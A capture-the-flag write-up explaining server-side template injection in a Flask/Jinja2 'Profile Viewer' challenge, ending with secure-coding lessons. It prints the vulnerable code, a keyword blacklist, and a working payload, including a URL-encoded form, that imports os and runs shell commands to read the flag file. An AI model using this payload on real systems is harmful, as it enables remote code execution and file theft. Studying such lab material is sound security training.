4.4 KiB
Render Me This
Welcome to the write-up for Render Me This. This challenge falls under the "web" category and demonstrates a severe vulnerability found in modern web frameworks known as Server-Side Template Injection (SSTI).
We are presented with a "Profile Viewer" application that takes a user's name and renders a custom greeting. Our goal is to exploit the rendering engine to read the flag from the server.
1. Initial Reconnaissance
The challenge provides us with a URL and the source code. When we visit the site, we see a simple page greeting "Guest".
The URL likely looks like this:
http://challenge-url/?name=Guest
If we change the name parameter to Test, the page updates to say "Hello, Test!". This confirms that our input is being reflected on the page.
2. Source Code Analysis
Let's examine the provided app.py to understand how the page is generated.
@app.route('/')
def index():
# Get the 'name' parameter
name = request.args.get('name', 'Guest')
# 1. Check for Blacklisted words
for bad_word in BLACKLIST:
if bad_word in name.lower():
return "Hacker detected! ..."
# 2. Vulnerable Template Construction
template = f'''
...
<h1>Hello, {name}!</h1>
...
'''
# Render the template
return render_template_string(template)
The Vulnerability: SSTI
The critical flaw is in how the template string is constructed. The developer uses a Python f-string (f'''... {name} ...''') to insert the user's input directly into the template source code before passing it to render_template_string.
In Flask (Jinja2), {{ ... }} is used to execute code within a template. By injecting {{ 7*7 }}, we can ask the server to calculate 7*7. If the page displays "49", we have code execution.
The Obstacle: The Blacklist
The application attempts to secure itself with a blacklist:
BLACKLIST = ["config", "self", "flag"]
This means we cannot use the standard SSTI payloads like {{ config }} or {{ self.__dict__ }}. We also cannot simply run cat flag.txt because the word "flag" is forbidden.
3. Developing the Exploit
We need to find a way to access the Python os module to run system commands, without using the blacklisted words.
In Python web frameworks like Flask, the request object is often available in the template context. Through request, we can traverse the Python object hierarchy to reach the global scope and import modules.
Step 1: Accessing Built-ins
We can use the request object to access the global scope:
request.application.__globals__
From there, we can access Python's built-in functions:
request.application.__globals__.__builtins__
Step 2: Importing OS
Now we can use the __import__ function to load the os module:
request.application.__globals__.__builtins__.__import__('os')
Step 3: Executing Commands
With the os module, we can use popen to execute shell commands and read to get the output:
.popen('ls').read()
Step 4: Bypassing the "flag" Filter
If we try to run cat flag.txt, the application will block us because it contains "flag".
We can bypass this using shell wildcards. instead of flag.txt, we can say fl*.
cat fl* matches flag.txt but doesn't contain the forbidden string "flag".
4. The Final Payload
Putting it all together, our payload looks like this:
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}
We need to URL-encode this payload before sending it to the server.
Encoded URL:
?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D
5. The Solution
Sending the payload to the server executes the command, reads the flag file, and renders the result on the page.
Flag: {flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}
Lessons Learned
- Context Matters: Never concatenate user input directly into a template string.
- Use the Framework Correctly: Always pass data as context variables to the render function.
- Vulnerable:
render_template_string(f"Hello {name}") - Secure:
render_template_string("Hello {{ name }}", name=user_input)
- Vulnerable:
- Blacklists Fail: trying to block specific words ("flag", "config") is rarely effective. Hackers can almost always find a way around them (e.g., string concatenation, encoding, wildcards).
Happy Hacking!